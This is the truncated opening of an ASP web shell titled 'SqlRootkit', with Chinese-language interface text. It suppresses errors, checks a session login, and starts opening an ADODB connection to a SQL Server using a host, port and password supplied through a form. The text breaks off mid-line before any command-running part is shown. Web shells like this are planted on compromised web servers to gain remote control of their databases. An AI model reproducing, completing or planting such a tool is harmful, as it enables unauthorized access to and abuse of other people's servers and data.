<%on error resume next%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>SqlRootkit</title>
<STYLE TYPE="text/css">
<!--
body { font-size: 14pt;color: black; font-family: impact}
font { border:0;font-size: 16px; color: Red; font-family: impact;text-decoration: none }
form { border:0;background-color: black; font-size: 14pt;color: blue; font-family: impact}
A { text-decoration: none;}
textarea {width:100%; background-color: black; font-size: 14pt;color: white;font-family: impact}
-->
</STYLE>
</head>
<body bgcolor=black>
<%
if session("login")="" then
response.write "<center><font color=red>没有登陆</font></center><br>"
else response.write "<center><font color=red>已经登陆</font></center><br>"
end if
response.write "<center><a href="&Request.ServerVariables("URL")&"?action=logout><font color=black>退出登陆</font></a></center><br>"
%>
<%
If request("action")="login" then
set adoConn=Server.CreateObject("ADODB.Connection")
adoConn.Open "Provider=SQLOLEDB.1;DATA SOURCE=" & request.Form("server") & "," & request.Form("port") & ";Password=" & request.Form("pa